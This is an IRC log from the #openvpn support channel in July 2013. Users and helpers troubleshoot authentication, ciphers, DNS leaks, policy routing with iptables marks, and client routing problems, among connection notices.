09:24 <@ecrist> use the included auth-pam plugin, and set PAM up to authenticate against LDAP or AD
09:24 <@ecrist> way easier
09:25 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
09:28 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
09:36 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
09:37 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
09:39 -!- takamich_ [~takamichi@141.255.164.76] has joined #openvpn
09:46 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:04 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:16 -!- Devastatr [~devas@186.214.14.143] has joined #openvpn
10:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
10:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
10:18 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:19 -!- takamich_ [~takamichi@141.255.164.76] has quit [Ping timeout: 240 seconds]
10:21 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:23 -!- Varazir_ is now known as Varazir
10:23 -!- phishy [~textual@pool-74-101-9-168.nycmny.fios.verizon.net] has joined #openvpn
10:24 -!- raidz_away is now known as raidz
10:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:27 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
10:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
10:58 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:08 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 22.0/20130618035212]]
11:09 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
11:11 -!- [fred] [fred@konfuzi.us] has joined #openvpn
11:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
11:43 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
11:45 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:45 -!- cherwin_ [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
11:46 -!- gffa_ [~unknown@unaffiliated/gffa] has joined #openvpn
11:46 -!- zeroXten_ [~zeroXten@0x10.co.uk] has joined #openvpn
11:46 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:49 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:50 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
11:50 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
11:51 -!- Netsplit *.net <-> *.split quits: Willis, Drone4four, |1li, @krzee, jzaw, hive-min1, mnathani, zeroXten, gffa, lickalott,  (+4 more, use /NETSPLIT to show all of them)
11:51 -!- Cultist_ [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
11:51 -!- Cultist_ is now known as Cultist
11:51 -!- GabrieleV_ is now known as GabrieleV
11:51 -!- Willis_ is now known as Willis
11:51 -!- Netsplit over, joins: |1li
11:57 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:58 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
11:59 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
12:02 -!- brad` [~brad@78.129.242.122] has joined #openvpn
12:04 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
12:04 -!- brad [~brad@78.129.242.122] has quit [Ping timeout: 246 seconds]
12:10 -!- dazo is now known as dazo_afk
12:19 < havoc> ok, think I'm going w/ AD auth, on a linux server, w/ a single client key for everyone
12:19 < havoc> and then use specific keys for users/machines w/o passwds
12:20 < havoc> ...specifically no passwds on site to site connections
12:20 < havoc> and all TUN
12:22 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 248 seconds]
12:23 -!- max__ [~max@m812036d0.tmodns.net] has joined #openvpn
12:35 -!- max__ [~max@m812036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
12:46 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:03 -!- Sevet [steveayre@149.241.69.221] has joined #openvpn
13:04 < Sevet> is there a way to control the uid/gid owning the log file when it gets created?
13:04 <@ecrist> it's owned by the openvpn process
13:05 < Sevet> openvpn starts as root:root, opens the log, then switches to nobody:nogroup
13:05 < Sevet> the log file is only readable by root (-rw------- root root)
13:06 <@ecrist> seems to me you should create it such that it's rw by nobody, as well
13:06 < Sevet> just wondering if there's any way to get openvpn to chgrp to adm automatically
13:06 -!- WinstonSmith_ [~WinstonSm@a81-84-205-35.cpe.netcabo.pt] has quit [Ping timeout: 248 seconds]
13:09 -!- brad` [~brad@78.129.242.122] has quit [Remote host closed the connection]
13:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:11 <+pekster> Sevet: Nope; you might be better off using a system loging daemon if that's your goal
13:12 <@ecrist> I'd suggest syslog, then your rotations and such will just work
13:12 <@ecrist> also, filtering, and exporting to remote systems
13:13 -!- brad [~brad@78.129.242.122] has joined #openvpn
13:14 -!- brad [~brad@78.129.242.122] has quit [Client Quit]
13:17 -!- max_ [~max@m812036d0.tmodns.net] has joined #openvpn
13:17 -!- max_ is now known as Synthead
13:29 -!- mndo__ [~mndo@bl17-74-100.dsl.telepac.pt] has quit [Ping timeout: 246 seconds]
13:32 -!- speed_racer84 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has joined #openvpn
13:36 -!- speed_racer81 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has joined #openvpn
13:40 -!- speed_racer84 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has quit [Ping timeout: 256 seconds]
13:48 -!- speed_racer81 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has quit [Ping timeout: 256 seconds]
13:54 -!- Sevet_ [~steveayre@149.241.69.221] has joined #openvpn
13:55 -!- Sevet [steveayre@149.241.69.221] has quit [Ping timeout: 276 seconds]
14:24 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host]
14:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
14:24 -!- mode/#openvpn [+o krzee] by ChanServ
14:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:38 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
14:47 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
14:56 -!- sauce [sauce@unaffiliated/sauce] has quit [Read error: Operation timed out]
14:59 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
15:08 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
15:12 -!- speed_racer84 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has joined #openvpn
15:15 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
15:17 -!- Sevet_ [~steveayre@149.241.69.221] has quit []
15:18 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
15:22 -!- Synthead [~max@m812036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
15:26 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:29 -!- hednod [exile@wintermute.probsd.net] has joined #openvpn
15:29 < hednod> what are some of the least cpu intensive encryption algos for openvpn
15:29 < hednod> I am doing it on a asus wifi router and encryption loads the cpu up pretty bad
15:30 < hednod> I can turn it off for a little btter performance but if there is a low-load algo I can try that
15:30 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:37 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
15:43 -!- speed_racer84 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has quit [Quit: Leaving]
15:51 <+pekster> hednod: The default (BF-128) is a reasonable choice and generally gives the best performance unless you have hardware acceleration for AES or something
15:54 < hednod> tyi dont remember it being listed as BF-128 on this router, let me check what it said
15:55 <+pekster> BC-CBC is the Cipher-Block-Chaining mode of the Blowfish (BF) cipher
15:56 <+pekster> It has a variable key size, defaulting to 128 bits
15:56 <+pekster> (hence BF-128)
15:56 < hednod> BF-CBC k
15:56 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
15:56 < hednod> thanks
15:56 < hednod> that maxed out this poor routers CPU when i tried to transfer s
15:56 < hednod> might just have to stick to no encryption
15:56 < hednod> this isnt a over-internet vpn
15:56 < hednod> so not a big deal
15:56 <+pekster> Yea, that'll happen. Not much you can do about it unless you throw more hardware at the situation
15:56 <+pekster> (or use some embedded device with crypto accel)
15:57 < hednod> turned of lzo too since that doesnt serve much purpose other than to load cpu
15:58 <+pekster> Right
15:58 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Ping timeout: 256 seconds]
15:58 <+pekster> It depends on your link bandwidth against spare CPU time, but with crypto you effectively don't have "spare" CPU to compress with
15:58 < hednod> yep
16:00 -!- kevinlongmusic_ [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
16:06 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
16:06 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
16:07 -!- phishy [~textual@pool-74-101-9-168.nycmny.fios.verizon.net] has quit [Quit: Computer has gone to sleep.]
16:18 -!- kevinlongmusic_ is now known as klong-
16:20 < klong-> I am running routed and it is necessary to toggle ip_forward=1 and some itpables so that clients can reach other machines on the remote/server subnet.  What is the proper place to invoke the script to run iptables?  I put:  up "/etc/openvpn/firewall.sh" and restarted the openvpn service but it complained about --script-security . Am I doing this right?
16:28 -!- Synthead [~max@m812036d0.tmodns.net] has joined #openvpn
16:30 -!- Synthead [~max@m812036d0.tmodns.net] has quit [Max SendQ exceeded]
16:31 -!- Synthead [~max@m812036d0.tmodns.net] has joined #openvpn
16:33 -!- gffa_ is now known as gffa
16:36 -!- klong- [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
16:42 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:44 -!- _br_- [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Remote host closed the connection]
16:45 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
16:45 -!- Synthead [~max@m812036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
16:45 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
16:55 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
17:12 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Quit: Verlassend]
17:14 < kisom> kloeri: Having openvpn invoke the iptables ruleset is bad.
17:14 < kisom> kloeri: You should let your O/S handle that part
17:15 < kisom> kloeri: I usually just put my rules in /etc/iptables/iptables.rules and let systemd do the rest.
17:18 <+pekster> They left
17:18 < kisom> Oh yeah, that was an awfully similar nickname
17:19 < kisom> I usually just read the first 3 chars
17:19 < kisom> ;)
17:20 <+pekster> There's probably an irssi plugin to warn you about that, or write your own
17:22 -!- master_of_master [~master_of@p4FD7B5BD.dip0.t-ipconnect.de] has joined #openvpn
17:26 -!- master_o1_master [~master_of@p4FD7B55E.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
17:31 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
17:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:38 -!- Denial [Denial@90.202.26.221] has quit []
17:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
17:39 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
18:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
18:34 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 246 seconds]
18:56 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
19:04 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
19:06 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:12 < oc80z> pretty concerned over new dns leaking after an 8.1 install...
19:12 < oc80z> er.... win8.1
19:13 < oc80z> its odd, because nslookup.exe will use eg; 10.8.0.1
19:13 < oc80z> meanwhile web browsing, p2p, other, are hitting the LAN's DNS
19:19 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
19:21 < oc80z> the fix is pretty much(enter netsh manualy, dunno the 1liner) , netsh interface dns set dnsclient name="wi-fi" source=static addr=10.8.0.1
19:21 < oc80z> may be this was set for win8.0, then 8.1 the interface settings we reset at this level..
19:22 < oc80z> i feel that this should be highlighted to win users that simply 'nslookup blah.com' oh its going thru my tunnel no prob now.. while other userland apps dont give a shit about your tunnel dns...
19:23 < oc80z> we should recomend they install gentoo. have a great weekend.
19:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Operation timed out]
19:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:51 -!- raidz is now known as raidz_away
19:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
19:52 -!- mode/#openvpn [+o plaisthos] by ChanServ
19:52 < Casper> Hi there, anyone here know stuff about the iphone client one? I think it ignore the proxy directive... Does anyone know if the log should say if it try a proxy or not? how how to confirm or test?
19:56 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
20:03 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:17 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
20:35 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:40 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer]
20:43 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 245 seconds]
20:48 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:50 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
20:50 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
20:51 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
20:55 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer]
21:13 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:13 -!- hednod [exile@wintermute.probsd.net] has left #openvpn []
21:16 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer]
21:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
21:23 -!- Eugene is now known as EugeneKay
21:24 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 276 seconds]
21:25 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
21:32 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 245 seconds]
21:34 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
21:36 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
22:28 -!- Drone4four [~Drone4fou@99.225.90.196] has joined #openvpn
22:37 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:42 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:49 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
23:20 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:33 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
23:35 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
23:35 -!- cherwin_ [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 248 seconds]
23:35 -!- abyss_ [~abyss@i-free.pl] has quit [Ping timeout: 248 seconds]
23:35 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
23:35 -!- abyss [~abyss@i-free.pl] has joined #openvpn
--- Day changed Sat Jul 13 2013
01:21 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
02:42 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
03:54 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:34 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
05:37 -!- takamich_ [~takamichi@217.23.5.63] has joined #openvpn
05:47 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:15 -!- takamich_ [~takamichi@217.23.5.63] has quit [Ping timeout: 240 seconds]
06:17 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:18 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
07:22 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 245 seconds]
08:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:22 < xTz> !pki
08:22 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
08:22 <@vpnHelper> signed specially as a server (see !servercert)
08:27 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
09:19 <@krzee> !dns
09:19 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
09:19 <@krzee> !pushdns
09:19 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
09:19 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
09:19 <@krzee> oc80z, does --register-dns help?
09:21 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
09:30 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
09:43 -!- novaflash is now known as novaflash_away
09:43 -!- slush_ [~slush@175.137.249.106] has joined #openvpn
09:43 -!- slush_ is now known as slushpuppy
09:44 < slushpuppy> Good day, I wonder if anyone could help me, i am trying to setup policy routing for certain ports such that; 22, 80, 25 does not go through the vpn client
09:47 < slushpuppy> currently this is what I have: http://pastebin.com/NMJWUi4W
09:47 < slushpuppy> Unfortunately, it appears that those rules don't work.. ;x
09:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
09:50 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 261 seconds]
10:02 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
10:05 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Client Quit]
10:05 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
10:06 -!- p3rror [~p3rror@41.249.126.96] has joined #openvpn
10:09 -!- HyperGlide [~HyperGlid@220.166.231.166] has joined #openvpn
10:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:34 < Casper> Hi there, anyone here know stuff about the iphone client one? I think it ignore the proxy directive... Does anyone know if the log should say if it try a proxy or not? how how to confirm or test?
10:37 <+pekster> slushpuppy: The fwmark you set on the incoming packet won't be set for the reply outgoing packet, thus your rule will never match
10:38 < slushpuppy> oh
10:38 < slushpuppy> pekster, so another iptable rule for outgoing?
10:39 <+pekster> slushpuppy: If you're trying to route the replies to those packets, either mark on mangle/OUTPUT using the --sport, or you could set a ctmark on the inbound session and clone it to the fwmark for the outgoing packets; the 2nd solution has the advantage of also properly routing ICMP errors
10:39 <+pekster> (thus I'd recommend doing that)
10:40 < slushpuppy> I wish I knew what you were talking about for the second solution
10:40 <+pekster> See the connmark match in iptables-extensions(8)
10:40 < slushpuppy> give me a second to look it up
10:40 < slushpuppy> ok, thanks
10:40 <+pekster> ctmark is the "Conntrack Mark" which applies to the entire stream, not just 1 packet
10:41 -!- HyperGlide [~HyperGlid@220.166.231.166] has quit [Remote host closed the connection]
10:43 < slushpuppy> Alright, thanks so much pekster
10:44 <+pekster> The only trick to using it with policy routing like you have is you must restore the ctmark to fwmark, since `ip rule` only sees the fwmark, *not* the ctmark. #netfilter can provided more specific guidance if you need more specific netfilter pointers
10:44 < slushpuppy> I do have 1 question though, why doesn't prerouting cover both input and output?
10:44 <+pekster> They're different packets
10:44 <+pekster> PREROUTING only applies to *incoming* packets, and you do source filtering on the outgoing ones
10:45 <+pekster> source routing*
10:45 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:45 < slushpuppy> i see, so I will still need to duplicate the rule for OUTPUT chain yes?
10:45 <+pekster> Right
10:46 <+pekster> You could just use mangle/OUTPUT as you have it now, but I'm suggesting you do it properly by also handling the related replies in the event your host generates ICMP errors or the like
10:47 <+pekster> Oh, your other reference I didn't give you is -m connmark in iptables-extensions(8)
10:47 <+pekster> (conntrack is for stateful matching, connmark is for setting/cloning ctmarks)
10:49 < slushpuppy> ah ok
10:49 < slushpuppy> thank you
10:58 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Ping timeout: 240 seconds]
10:59 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
11:05 -!- surfhai1 [~tg@pD9E21FE6.dip0.t-ipconnect.de] has joined #openvpn
11:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:08 < surfhai1> hi, I have a problem with openvpn, I've set up a linux server with a win 7 client connected to it
11:08 < surfhai1> I've also got a connection between them
11:09 < surfhai1> now I want to set up iptables, which causes problems
11:09 < surfhai1> I can't ping the client with 10.8.0.6
11:09 < surfhai1> but the client can ping the server
11:09 <+pekster> Sounds like the client firewall
11:10 < surfhai1> also strange is, I connect to the servers ssh via openvpn ip 10.8.0.1 but after the login I can see my WAN IP address instead of 10.8.0.6
11:10 < surfhai1> at the last login
11:11 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
11:11 <+pekster> Use ss to show you open sockets; it might be your wtmp file isn't getting updated or such
11:12 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
11:13 < surfhai1> no connection from 10.8.0.6
11:13 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Remote host closed the connection]
11:13 < slushpuppy> Hm pekster, I added a postrouting rule, unfortunately, I still lose connection to ssh after firing up the open vpn server. How can I debug this?
11:13 < surfhai1> https://paste.xinu.at/Tmwi/ this are my iptable rules
11:14 < slushpuppy> http://www.linksysinfo.org/index.php?threads/route-only-specific-ports-through-vpn-openvpn.37240/#post-181505 <-- Basically where I got the commands from
11:14 <@vpnHelper> Title: Route only specific ports through VPN (openvpn) | LinksysInfo.org (at www.linksysinfo.org)
11:14 <+pekster> slushpuppy: I'd suggest pasting your complete netfilter ruleset and ip rule/tables to #netfilter as this doesn't really have much to do with openvpn
11:15 <+pekster> And don't reference "guides" or such; reference what *you* have, and explain what you want
11:15 < slushpuppy> Alright
11:15 < slushpuppy> thanks
11:16 < surfhai1> pekster: should ss show at peer address:port the 10.8.0.6 IP or my WAN IP?
11:16 <+pekster> surfhai1: If you're connecting across the VPN, the OS will source it from the VPN IP
11:16 -!- rmd [~rmd@unaffiliated/rmd] has joined #openvpn
11:16 < surfhai1> that is the problem
11:16 < surfhai1> it's my WAN IP adress
11:17 <+pekster> Maybe you have another session outside the VPN?
11:17 < surfhai1> nope, I wrote 10.8.0.1 in putty
11:17 <+pekster> 10.8.0/24 is not globally routable; there's no way that can possibly go across the public Internet and get to your destination
11:17 <+pekster> I said *another* session
11:17 <+pekster> Not the same session
11:18 <+pekster> tcpdump if you're confused on what is or isn't received across your tun devices
11:18 <+pekster> 'tcpdump -pnvi tun0 tcp port 22' might be a place to start
11:18 < surfhai1> no, I have no other sessions running and I only connect to 10.8.0.1 but maybe I don't understand you right
11:18 -!- rmd [~rmd@unaffiliated/rmd] has left #openvpn ["WeeChat 0.4.1"]
11:19 <+pekster> tcpdump it
11:20 <+pekster> I don't really have an idea how your setup works, or what your definition of "WAN" is, or what your routing tables are, or the rest of your upstream network infrastructure
11:20 <+pekster> It will be blindingly obvious where packets come from and go when you watch the traffic across your interfaces
11:21 < surfhai1> on tun0 no traffic at all, all goes through eth0
11:21 < surfhai1> maybe a problem with windows 7
11:22 < surfhai1> I'am connected but how do I say go through the openvpn connection
11:22 <+pekster> I've used openvpn fine with windows 7, as have thousands of other people
11:22 <+pekster> You add a routing rule
11:22 <+pekster> Route *what* through the connectoin?
11:22 < surfhai1> all that belongs to 10.8.0.*
11:23 <+pekster> Did the route get pushed to the client? Did it add without errors in the log?
11:23 <+pekster> !logs
11:23 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:23 <+pekster> !configs
11:23 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:23 <+pekster> !paste
11:23 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
11:23 < surfhai1> sorry, my fault at the ssh thing, I only change the name to 10.8.0.1 instead of the host name
11:25 < surfhai1> now it works :)
11:27 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
11:29 -!- takamich_ [~takamichi@141.255.164.85] has joined #openvpn
11:30 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has joined #openvpn
11:30 < TauNeutrino> hey guys
11:30 < TauNeutrino> me again^^
11:31 -!- novaflash_away is now known as novaflash
11:32 < dvl> When my FreeBSD firewall reboots, none of my firewall rules get invoked.  I think I have to delay the loading of pf until after the other stuff gets loaded (i.e. openvpn)
11:33 <+pekster> dvl: Won't matter; firewall rules are firewall rules; they don't require the interface to be up (or even exist) when the ruleset is loaded
11:33 <+pekster> And you very much do *not* want the firewall to come up after network services since the firewall is designed to protected against unintended access
11:34 < dvl> pekster: But I do want the firewall rules to come up.  They aren't coming up on boot.
11:37 < TauNeutrino> Ok, my problem now: I use the openvpn android app. When I connect my phone to the server, the logs says(no error except this): "Sorry, deleting routes on Android is not possible. The VpnService API allows routes to be set on connecto only. Closing TUN/TAP interface ...." BusyBox runs with root.
11:39 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
11:55 -!- takamich_ [~takamichi@141.255.164.85] has quit [Ping timeout: 276 seconds]
11:58 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:59 < xTz> !key-size
12:00 < xTz> can I use 4096 bit key-size with ovpn?
12:00 <+pekster> dvl: set rc.conf and your pf.conf files accordingly
12:00 <+pekster> ##freebsd might be more on-topic if you need help using your OS
12:00 <+pekster> xTz: Yes
12:00 < xTz> awsome! :)
